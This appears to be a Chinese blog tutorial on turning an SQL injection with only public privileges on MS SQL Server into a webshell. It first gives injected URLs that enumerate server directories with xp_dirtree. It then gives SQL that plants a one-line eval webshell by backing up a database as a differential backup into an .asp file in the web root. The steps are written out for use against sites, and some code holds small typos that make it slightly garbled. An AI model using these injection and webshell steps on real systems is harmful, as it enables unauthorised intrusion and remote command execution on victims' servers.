利用public权限获取webshell

通过SQL注入获取服务器的webshell,相关方法已经介绍很多了,但大多数方法都是基于SA权限的,而在实际情况中,通过注入更多的是获取到public权限,如何利用public权限就能获取webshell,本文给出了一种实施思路。

 

(1)、获取WEB路径
      要往网站目录下写入Web Shell,那么首先就应该获取网站的根目录。

      利用扩展存储过程xp_dirtree。通过它可以列出指定目录下所有子目录和文件。这个扩展存储过程有三个参数,第一个参数是路径,第二个参数是目录深度,第三个参数表示是否列出文件。如果第三个参数为0,那么只列出目录。最重要的一点是这个存储过程只需要PUBLIC权限便可以执行。
      目前比较常见的方法是通过xp_dirtree把某个盘或某个目录下的子目录和文件列出来,插入到一个表中,并逐条读取表中的数据。通过切换不同的目录,达到浏览硬盘、搜索站点根目录的目的。

      它的利用过程类似如下,这里用http://www.xxx.com/index.asp?id=1为例来作为我们所要进行渗透的网站。首先建立一个临时表,把E盘下面的1级子目录和文件插入到表中:
http://www.xxx.com/index.asp?id=2;CREATE TABLE tmp([ID] int IDENTITY (1,1) NOT NULL,[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL);insert into tmp exec master..xp_dirtree 'e:/',1,1
      然后,我们来获得tmp这个临时表中的第一条数据:
http://www.xxx.com/index.asp?id=1 and (select ame from tmp where id=1)>1
      从上面的返回结果我们可以看到临时表中的第一条记录了,我们逐步的递增ID值便可以把所有的数据找出来,从而知道我们所要找的文件的绝对路径。
      最后就是不要忘记把临时表删除,通过上面的方法,可以快速的找出网站的根目录所在。

(2)、写入Web shell

      目前PUBLIC权限用户写入SHELL的唯一途径可能就是备份了。这个方法是由Swan发现的。
      为什么通过备份数据库到硬盘的方法就能获得一个Web Shell?这是由IIS处理ASP文件的机制造成的。ASP后缀的文件由ASP.DLL负责解释执行的,ASP脚本以“<%”为开始标记,结束标记为“%>”。除此之外,其他所有字符不做任何的处理便直接返回给客户端。在能往数据库中插入任何数据的情况下,加入把数据库备份到磁盘并把后缀名设置为ASP,同时备份文件里面包含了我们精心构造的“<%******%>”,结果我们就可以得到一个shell了。
      不过根据Swan介绍,如果数据类型是文本格式的,如TEXT、NVARCHAR等,假设原始内容是“abc”,备份出来后,数据可能会被换成其他格式,如宽字符“a b c”。如果这样,精心构造的ASP SHELL就可能不会成功运行了。但数据类型是二进制格式,如IMAGE,就不会存在这个问题。但依然会存在其他可能存储的问题:
      ●    假如原始数据中本来即存在一些特殊字符,如“<%”之类,那么导出的ASP就无法正常执行了。
      ●    注入过程因失误注入一些无效的特殊字符,也会给ASP的正常运行带来麻烦。这样就可能要更换另一个数据库来继续注入、备份导出了。
      不过我们使用备份中的增量备份方式可以比较好的解决上面所讲的问题,而且这样还避免备份出来的ASP文件太大。假设这里有一个数据库hack,那么我们使用下面的SQL语句即可完成:
create table tmp(str image)
backup database hack to disk='e:/web/tmp.bak' with init
insert into tmp(str) values('<script language=javascript>eval(request.form('cmd')<scritp>)')
backup database hack to disk='e:/web/shell.asp' with DIFFERENTIAL
      其中,e:/web/tmp.bak是备份,bak是备份文件。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值